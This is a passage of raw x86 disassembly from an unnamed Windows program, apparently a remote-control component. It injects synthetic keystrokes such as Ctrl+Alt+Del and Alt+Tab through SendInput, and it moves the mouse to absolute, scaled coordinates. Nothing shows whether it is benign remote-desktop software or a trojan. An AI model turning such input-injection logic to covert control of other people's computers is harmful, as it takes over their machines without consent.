mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5404e0]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5404e0]
mov eax, dword [eax]
call eax
jmp case.0x4e0a85.10
push 0x12
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540da4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540da4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5404e0]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5404e0]
mov eax, dword [eax]
call eax
jmp case.0x4e0a85.10
push 0x11
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540da4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540da4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x1b
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5404e0]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5404e0]
mov eax, dword [eax]
call eax
jmp case.0x4e0a85.10
push 0x11
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540da4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x10
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540da4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x10
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5404e0]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5404e0]
mov eax, dword [eax]
call eax
jmp case.0x4e0a85.10
push 0x11
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540da4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x20
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540da4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x20
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5404e0]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5404e0]
mov eax, dword [eax]
call eax
jmp case.0x4e0a85.10
push 0x11
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540da4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540da4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x2e
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540da4]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x2e
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5404e0]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x12
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5404e0]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
push 0x11
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5404e0]
mov eax, dword [eax]
call eax
jmp case.0x4e0a85.10
mov eax, dword [0x5407b8]
cmp dword [eax], 0
jle 0x4e26d8
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, 6
ja case.0x4e0a85.10
jmp dword [eax*4 + 0x4e2306]
mov dword [ebp - 0x50], 0x12
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5470
push eax
mov eax, dword [0x540424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 9
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5470
push eax
mov eax, dword [0x540424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 9
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5470
push eax
mov eax, dword [0x54069c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x12
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5470
push eax
mov eax, dword [0x54069c]
mov eax, dword [eax]
call eax
jmp case.0x4e0a85.10
mov dword [ebp - 0x50], 0x12
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5470
push eax
mov eax, dword [0x540424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x1b
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5470
push eax
mov eax, dword [0x540424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x1b
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5470
push eax
mov eax, dword [0x54069c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x12
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5470
push eax
mov eax, dword [0x54069c]
mov eax, dword [eax]
call eax
jmp case.0x4e0a85.10
mov dword [ebp - 0x50], 0x11
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5470
push eax
mov eax, dword [0x540424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x1b
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5470
push eax
mov eax, dword [0x540424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x1b
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5470
push eax
mov eax, dword [0x54069c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x11
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5470
push eax
mov eax, dword [0x54069c]
mov eax, dword [eax]
call eax
jmp case.0x4e0a85.10
mov dword [ebp - 0x50], 0x11
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5470
push eax
mov eax, dword [0x540424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x10
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5470
push eax
mov eax, dword [0x540424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x10
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5470
push eax
mov eax, dword [0x54069c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x11
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5470
push eax
mov eax, dword [0x54069c]
mov eax, dword [eax]
call eax
jmp case.0x4e0a85.10
mov dword [ebp - 0x50], 0x11
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5470
push eax
mov eax, dword [0x540424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x20
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5470
push eax
mov eax, dword [0x540424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x20
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5470
push eax
mov eax, dword [0x54069c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x11
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5470
push eax
mov eax, dword [0x54069c]
mov eax, dword [eax]
call eax
jmp case.0x4e0a85.10
mov dword [ebp - 0x50], 0x11
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5470
push eax
mov eax, dword [0x540424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x12
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5470
push eax
mov eax, dword [0x540424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x2e
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5470
push eax
mov eax, dword [0x540424]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x2e
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5470
push eax
mov eax, dword [0x54069c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x12
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5470
push eax
mov eax, dword [0x54069c]
mov eax, dword [eax]
call eax
push 0xa
call sub.kernel32.dll_Sleep_1
mov dword [ebp - 0x50], 0x11
mov cx, word [ebp - 0x50]
xor edx, edx
xor eax, eax
call fcn.004d5470
push eax
mov eax, dword [0x54069c]
mov eax, dword [eax]
call eax
jmp case.0x4e0a85.10
mov dword [ebp - 0x7bc], 1
call sub.kernel32.dll_GetTickCount
mov dword [ebp - 0x7b0], eax
call sub.user32.dll_GetMessageExtraInfo
mov dword [ebp - 0x7ac], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, 6
ja case.0x4e0a85.10
jmp dword [eax*4 + 0x4e270e]
mov word [ebp - 0x7b8], 0x12
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 9
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 9
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x12
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4e0a85.10
mov word [ebp - 0x7b8], 0x12
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x1b
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x1b
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x12
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4e0a85.10
mov word [ebp - 0x7b8], 0x11
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x1b
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x1b
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x11
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4e0a85.10
mov word [ebp - 0x7b8], 0x11
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x10
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x10
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x11
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4e0a85.10
mov word [ebp - 0x7b8], 0x11
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x20
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x20
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x11
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4e0a85.10
mov word [ebp - 0x7b8], 0x11
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x12
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x2e
xor eax, eax
mov dword [ebp - 0x7b4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x2e
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x12
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
inc dword [ebp - 0x7b0]
push 0xa
call sub.kernel32.dll_Sleep_1
mov word [ebp - 0x7b8], 0x11
mov dword [ebp - 0x7b4], 2
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4e0a85.10
cmp dword [0x548430], 0x200000
jg case.0x4e0a85.10
cmp byte [0x53f4c0], 1
jb case.0x4e0a85.10
cmp dword [0x5496d8], 0xb436
ja case.0x4e0a85.10
mov eax, dword [0x53f338]
mov dword [0x53f348], eax
mov eax, dword [0x53f33c]
mov dword [0x53f34c], eax
mov ebx, 0x8000
mov eax, dword [ebp - 0x2c]
add eax, 0x20
mov dword [0x5498d8], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, 0x200
jg 0x4e2c74
je 0x4e2ccf
cmp eax, 0xa4
jg 0x4e2c5c
je 0x4e2ced
sub eax, 0x84
je 0x4e2cd4
sub eax, 0x1c
je 0x4e2cf7
dec eax
je 0x4e2cd9
dec eax
je 0x4e2cde
jmp case.0x4e2c82.515
sub eax, 0xa5
je 0x4e2cf2
sub eax, 2
je 0x4e2ce3
dec eax
je 0x4e2ce8
jmp case.0x4e2c82.515
add eax, 0xfffffdff
cmp eax, 9
ja case.0x4e2c82.515
jmp dword [eax*4 + 0x4e2c89]
or ebx, 2
jmp case.0x4e2c82.515
or ebx, 4
jmp case.0x4e2c82.515
or ebx, 0x20
jmp case.0x4e2c82.515
or ebx, 0x40
jmp case.0x4e2c82.515
or ebx, 8
jmp case.0x4e2c82.515
or ebx, 0x10
jmp case.0x4e2c82.515
or ebx, 1
jmp case.0x4e2c82.515
or ebx, 1
jmp case.0x4e2c82.515
or ebx, 2
jmp case.0x4e2c82.515
or ebx, 4
jmp case.0x4e2c82.515
or ebx, 0x20
jmp case.0x4e2c82.515
or ebx, 0x40
jmp case.0x4e2c82.515
or ebx, 8
jmp case.0x4e2c82.515
or ebx, 0x10
jmp case.0x4e2c82.515
or ebx, 1
jmp case.0x4e2c82.515
or ebx, 0x800
mov eax, dword [0x5498d8]
mov edx, dword [0x549870]
add dword [eax], edx
mov eax, dword [0x5498d8]
mov edx, dword [0x549874]
add dword [eax + 4], edx
cmp dword [0x5495bc], 0
jle 0x4e2dd7
mov eax, dword [0x5495bc]
add eax, eax
inc eax
call fcn.004030b8
sub eax, dword [0x5495bc]
mov edx, dword [0x5498d8]
add dword [edx], eax
mov eax, dword [0x5495bc]
add eax, eax
inc eax
call fcn.004030b8
sub eax, dword [0x5495bc]
mov edx, dword [0x5498d8]
add dword [edx + 4], eax
mov eax, dword [0x5498d8]
mov eax, dword [eax]
cmp eax, dword [0x549870]
jge 0x4e2d7d
mov eax, dword [0x5498d8]
mov edx, dword [0x549870]
mov dword [eax], edx
mov eax, dword [0x5498d8]
mov eax, dword [eax]
cmp eax, dword [0x549878]
jl 0x4e2d9a
mov eax, dword [0x549878]
dec eax
mov edx, dword [0x5498d8]
mov dword [edx], eax
mov eax, dword [0x5498d8]
mov eax, dword [eax + 4]
cmp eax, dword [0x549874]
jge 0x4e2db8
mov eax, dword [0x5498d8]
mov edx, dword [0x549874]
mov dword [eax + 4], edx
mov eax, dword [0x5498d8]
mov eax, dword [eax + 4]
cmp eax, dword [0x54987c]
jl 0x4e2dd7
mov eax, dword [0x54987c]
dec eax
mov edx, dword [0x5498d8]
mov dword [edx + 4], eax
mov eax, dword [0x5498d8]
mov eax, dword [eax]
mov edx, eax
shl eax, 0x10
sub eax, edx
mov edx, dword [0x53fac4]
sub edx, dword [0x53fabc]
dec edx
mov ecx, edx
cdq
idiv ecx
mov esi, eax
mov eax, dword [0x5498d8]
mov eax, dword [eax + 4]
mov edx, eax
shl eax, 0x10
sub eax, edx
mov edx, dword [0x53fac8]
sub edx, dword [0x53fac0]
dec edx
mov ecx, edx
cdq
idiv ecx
mov edi, eax
cmp dword [0x5495ac], 0
je 0x4e2e36
mov eax, esi
imul dword [0x5495a8]
cdq
idiv dword [0x5495ac]
mov esi, eax
cmp dword [0x5495b4], 0
je 0x4e2e50
mov eax, edi
imul dword [0x5495b0]
cdq
idiv dword [0x5495b4]
mov edi, eax
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0x20a
jne 0x4e2e69
mov eax, dword [0x5498d8]
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x4c], eax
jmp 0x4e2e6e
xor eax, eax
mov dword [ebp - 0x4c], eax
mov eax, dword [0x5406bc]
cmp dword [eax], 0
jne 0x4e2e7d
call fcn.004d3d1c
mov eax, dword [0x5405b4]
cmp dword [eax], 0
jne 0x4e2e8c
call fcn.004d503c
mov eax, dword [0x5407b8]
cmp dword [eax], 0
jne 0x4e2e9b
call fcn.004d5798
mov eax, dword [0x5406bc]
cmp dword [eax], 0
jle 0x4e2fd7
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0x20a
je 0x4e2ecf
mov eax, dword [0x5498d8]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x5498d8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540578]
mov eax, dword [eax]
call eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, 0x201
jg 0x4e2f13
je case.0x4e2eec.161
add eax, 0xffffff5f
cmp eax, 7
ja case.0x4e0a85.10
jmp dword [eax*4 + 0x4e2ef3]
add eax, 0xfffffdfe
cmp eax, 8
ja case.0x4e0a85.10
jmp dword [eax*4 + 0x4e2f28]
push 1
mov eax, dword [0x540ad4]
mov eax, dword [eax]
call eax
jmp case.0x4e0a85.10
push 2
mov eax, dword [0x540ad4]
mov eax, dword [eax]
call eax
jmp case.0x4e0a85.10
push 0x10
mov eax, dword [0x540ad4]
mov eax, dword [eax]
call eax
jmp case.0x4e0a85.10
push 0x20
mov eax, dword [0x540ad4]
mov eax, dword [eax]
call eax
jmp case.0x4e0a85.10
push 4
mov eax, dword [0x540ad4]
mov eax, dword [eax]
call eax
jmp case.0x4e0a85.10
push 8
mov eax, dword [0x540ad4]
mov eax, dword [eax]
call eax
jmp case.0x4e0a85.10
mov eax, dword [0x5498d8]
cmp dword [eax + 0x10], 0
jle 0x4e2fc7
push 1
mov eax, dword [0x540698]
mov eax, dword [eax]
call eax
jmp case.0x4e0a85.10
push 2
mov eax, dword [0x540698]
mov eax, dword [eax]
call eax
jmp case.0x4e0a85.10
mov eax, dword [0x5405b4]
cmp dword [eax], 0
jle 0x4e3148
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0x20a
je 0x4e3076
mov eax, dword [0x53f4ac]
mov edx, dword [eax]
call dword [edx + 0x2c]
cmp eax, dword [0x549948]
jne 0x4e3019
mov eax, dword [0x53f4ac]
mov edx, dword [eax]
call dword [edx + 0x20]
cmp eax, dword [0x54994c]
je 0x4e3054
mov eax, dword [0x53f4ac]
mov edx, dword [eax]
call dword [edx + 0x2c]
mov dword [0x549948], eax
mov eax, dword [0x53f4ac]
mov edx, dword [eax]
call dword [edx + 0x20]
mov dword [0x54994c], eax
mov eax, dword [0x54994c]
push eax
mov eax, dword [0x549948]
push eax
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5408e4]
mov eax, dword [eax]
call eax
mov eax, dword [0x5498d8]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x5498d8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x54093c]
mov eax, dword [eax]
call eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, 0x201
jg 0x4e309c
je 0x4e30b5
sub eax, 0xa1
je 0x4e30b5
dec eax
je 0x4e30cb
sub eax, 2
je 0x4e30e1
dec eax
je 0x4e30f7
jmp case.0x4e0a85.10
sub eax, 0x202
je 0x4e30cb
sub eax, 2
je 0x4e30e1
dec eax
je 0x4e30f7
sub eax, 5
je 0x4e310d
jmp case.0x4e0a85.10
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540a44]
mov eax, dword [eax]
call eax
jmp case.0x4e0a85.10
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540ca8]
mov eax, dword [eax]
call eax
jmp case.0x4e0a85.10
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x5404d8]
mov eax, dword [eax]
call eax
jmp case.0x4e0a85.10
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540784]
mov eax, dword [eax]
call eax
jmp case.0x4e0a85.10
mov eax, dword [0x5498d8]
cmp dword [eax + 0x10], 0
jle 0x4e3130
push 1
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540d94]
mov eax, dword [eax]
call eax
jmp case.0x4e0a85.10
push 0xffffffffffffffff
mov eax, dword [0x540da8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540d94]
mov eax, dword [eax]
call eax
jmp case.0x4e0a85.10
mov eax, dword [0x5407b8]
cmp dword [eax], 0
jle 0x4e321e
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0x20a
je 0x4e317c
mov eax, dword [0x5498d8]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x5498d8]
mov eax, dword [eax]
push eax
mov eax, dword [0x540ad0]
mov eax, dword [eax]
call eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, 0x201
jg 0x4e31a2
je 0x4e31bb
sub eax, 0xa1
je 0x4e31bb
dec eax
je 0x4e31c9
sub eax, 2
je 0x4e31d7
dec eax
je 0x4e31e5
jmp case.0x4e0a85.10
sub eax, 0x202
je 0x4e31c9
sub eax, 2
je 0x4e31d7
dec eax
je 0x4e31e5
sub eax, 5
je 0x4e31f3
jmp case.0x4e0a85.10
mov eax, dword [0x540bf4]
mov eax, dword [eax]
call eax
jmp case.0x4e0a85.10
mov eax, dword [0x540e74]
mov eax, dword [eax]
call eax
jmp case.0x4e0a85.10
mov eax, dword [0x540694]
mov eax, dword [eax]
call eax
jmp case.0x4e0a85.10
mov eax, dword [0x540994]
mov eax, dword [eax]
call eax
jmp case.0x4e0a85.10
mov eax, dword [0x5498d8]
cmp dword [eax + 0x10], 0
jle 0x4e320e
push 1
mov eax, dword [0x540410]
mov eax, dword [eax]
call eax
jmp case.0x4e0a85.10
push 0xffffffffffffffff
mov eax, dword [0x540410]
mov eax, dword [eax]
call eax
jmp case.0x4e0a85.10
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0x200
je 0x4e3240
push 0
push 0
lea eax, [edi + 1]
push eax
lea eax, [esi + 1]
push eax
push 0x8001
call sub.user32.dll_mouse_event
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0x20a
jne 0x4e3265
push 0
mov eax, dword [ebp - 0x4c]
push eax
inc edi
push edi
inc esi
push esi
push 0x8800
call sub.user32.dll_mouse_event
jmp case.0x4e0a85.10
xor eax, eax
mov dword [ebp - 0x7bc], eax
mov dword [ebp - 0x7ac], ebx
inc esi
mov dword [ebp - 0x7b8], esi
inc edi
mov dword [ebp - 0x7b4], edi
xor eax, eax
mov dword [ebp - 0x7b0], eax
call sub.kernel32.dll_GetTickCount
mov dword [ebp - 0x7a8], eax
call sub.user32.dll_GetMessageExtraInfo
mov dword [ebp - 0x7a4], eax
push 0x1c
lea eax, [ebp - 0x7bc]
push eax
push 1
call sub.user32.dll_SendInput
jmp case.0x4e0a85.10
cmp dword [0x53f3a8], 0x5250390
jb case.0x4e0a85.10
mov dl, 1
mov eax, dword [0x414bcc]
call fcn.0040377c
mov dword [ebp - 0x24], eax
lea edx, [ebp - 0x928]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
mov edx, dword [ebp - 0x928]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0x92c]
xor edx, edx
mov eax, dword [ebp - 0x24]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x92c]
call fcn.00409490
mov dword [0x549644], eax
mov eax, dword [ebp - 0x24]
call fcn.004037ac
mov eax, dword [0x549644]
add eax, 0x5b
cmp eax, dword [0x5496d8]
jae 0x4e3358
push 0
push 0x3e8
mov eax, dword [0x53f338]
mov edx, dword [0x53f33c]
